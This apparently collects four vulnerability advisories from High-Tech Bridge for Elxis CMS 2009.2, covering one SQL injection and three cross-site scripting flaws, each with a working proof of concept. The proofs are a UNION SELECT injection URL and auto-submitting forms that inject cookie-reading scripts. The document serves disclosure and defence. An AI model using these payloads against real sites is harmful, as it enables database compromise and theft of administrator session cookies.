Elxis CMS version 2009.2 electra rev2631 suffers from SQL injection and cross site scripting vulnerabilities.
8714b5d62c4b20363ae5f16d006b8b45792ee2b2f874bc833698941981ad15b4
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Vulnerability ID: HTB22613
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_elxis_cms.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ )
Vulnerable Version: 2009.2 electra rev2631 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "administrator/components/com_content/admin.content.php" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
http://host/administrator/index2.php?option=com_content§ionid=0&task=edit&hidemainmenu=1&id=999'+UNION+SELECT+1,user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+--+c
Solution: Upgrade to the most recent version
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Vulnerability ID: HTB22614
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ )
Vulnerable Version: 2009.2 electra rev2631 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "administrator/components/com_users/admin.users.php" script to properly sanitize user-supplied input in "search" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="search" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="filter_logged" value="0" />
<input type="hidden" name="filter_enabled" value="-1" />
<input type="hidden" name="filter_type" value="Super Administrator" />
<input type="hidden" name="filter_expired" value="-1" />
<input type="hidden" name="limit" value="20" />
<input type="hidden" name="limitstart" value="0" />
<input type="hidden" name="option" value="com_users" />
<input type="hidden" name="task" value="" />
<input type="hidden" name="boxchecked" value="0" />
<input type="hidden" name="hidemainmenu" value="0" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
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Vulnerability ID: HTB22615
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms_contacts.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ )
Vulnerable Version: 2009.2 electra rev2631 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "administrator/index2.php" script to properly sanitize user-supplied input in "misc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://eecore/elxis/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="catid" value="1" />
<input type="hidden" name="user_id" value="0" />
<input type="hidden" name="name" value="My Name" />
<input type="hidden" name="seotitle" value="sef-url" />
<input type="hidden" name="con_position" value="Website manager" />
<input type="hidden" name="email_to" value="webmaster@example.com" />
<input type="hidden" name="address" value="My address" />
<input type="hidden" name="suburb" value="city" />
<input type="hidden" name="state" value="reg" />
<input type="hidden" name="country" value="country" />
<input type="hidden" name="postcode" value="12345" />
<input type="hidden" name="telephone" value="123" />
<input type="hidden" name="fax" value="123" />
<input type="hidden" name="misc" value='hello"><script>alert(document.cookie)</script>' />
<input type="hidden" name="default_con" value="1" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="ordering" value="1" />
<input type="hidden" name="access" value="29" />
<input type="hidden" name="image" value="asterisk.png" />
<input type="hidden" name="params[menu_image]" value="-1" /><input type="hidden" name="params[menu_image_only]" value="0" /><input type="hidden" name="params[pageclass_sfx]" value="" /><input type="hidden" name="params[print]" value="" /><input type="hidden" name="params[back_button]" value="" /><input type="hidden" name="params[name]" value="1" /><input type="hidden" name="params[position]" value="1" /><input type="hidden" name="params[email]" value="0" /><input type="hidden" name="params[street_address]" value="1" /><input type="hidden" name="params[suburb]" value="1" /><input type="hidden" name="params[state]" value="1" /><input type="hidden" name="params[country]" value="1" /><input type="hidden" name="params[postcode]" value="1" /><input type="hidden" name="params[telephone]" value="1" /><input type="hidden" name="params[fax]" value="1" /><input type="hidden" name="params[misc]" value="1" /><input type="hidden" name="params[vcard]" value="1" /><input type="hidden" name=!
"params[image]" value="1" /><input type="hidden" name="params[email_description]" value="1" /><input type="hidden" name="params[email_description_text]" value="" /><input type="hidden" name="params[email_form]" value="1" /><input type="hidden" name="params[email_copy]" value="1" /><input type="hidden" name="params[drop_down]" value="0" /><input type="hidden" name="params[contact_icons]" value="1" /><input type="hidden" name="params[icon_address]" value="" /><input type="hidden" name="params[icon_email]" value="" /><input type="hidden" name="params[icon_telephone]" value="" /><input type="hidden" name="params[icon_fax]" value="" /><input type="hidden" name="params[icon_misc]" value="" />
<input type="hidden" name="option" value="com_contact" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="task" value="save" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
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Vulnerability ID: HTB22616
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_elxis_cms_polls_module.html
Product: Elxis CMS
Vendor: Elxis Team ( http://www.elxis.org/ )
Vulnerable Version: 2009.2 electra rev2631 and probably prior versions
Vendor Notification: 20 September 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "administrator/components/com_modules/admin.modules.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/administrator/index2.php" method="post" name="main" >
<input type="hidden" name="title" value='Polls"><script>alert(document.cookie)</script>' />
<input type="hidden" name="showtitle" value="1" />
<input type="hidden" name="position" value="right" />
<input type="hidden" name="languages[]" value="" />
<input type="hidden" name="access" value="29" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="params[cache]" value="0" />
<input type="hidden" name="params[moduleclass_sfx]" value="" />
<input type="hidden" name="selections[]" value="0" />
<input type="hidden" name="option" value="com_modules" />
<input type="hidden" name="id" value="1" />
<input type="hidden" name="original" value="1" />
<input type="hidden" name="module" value="mod_poll" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="client_id" value="0" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version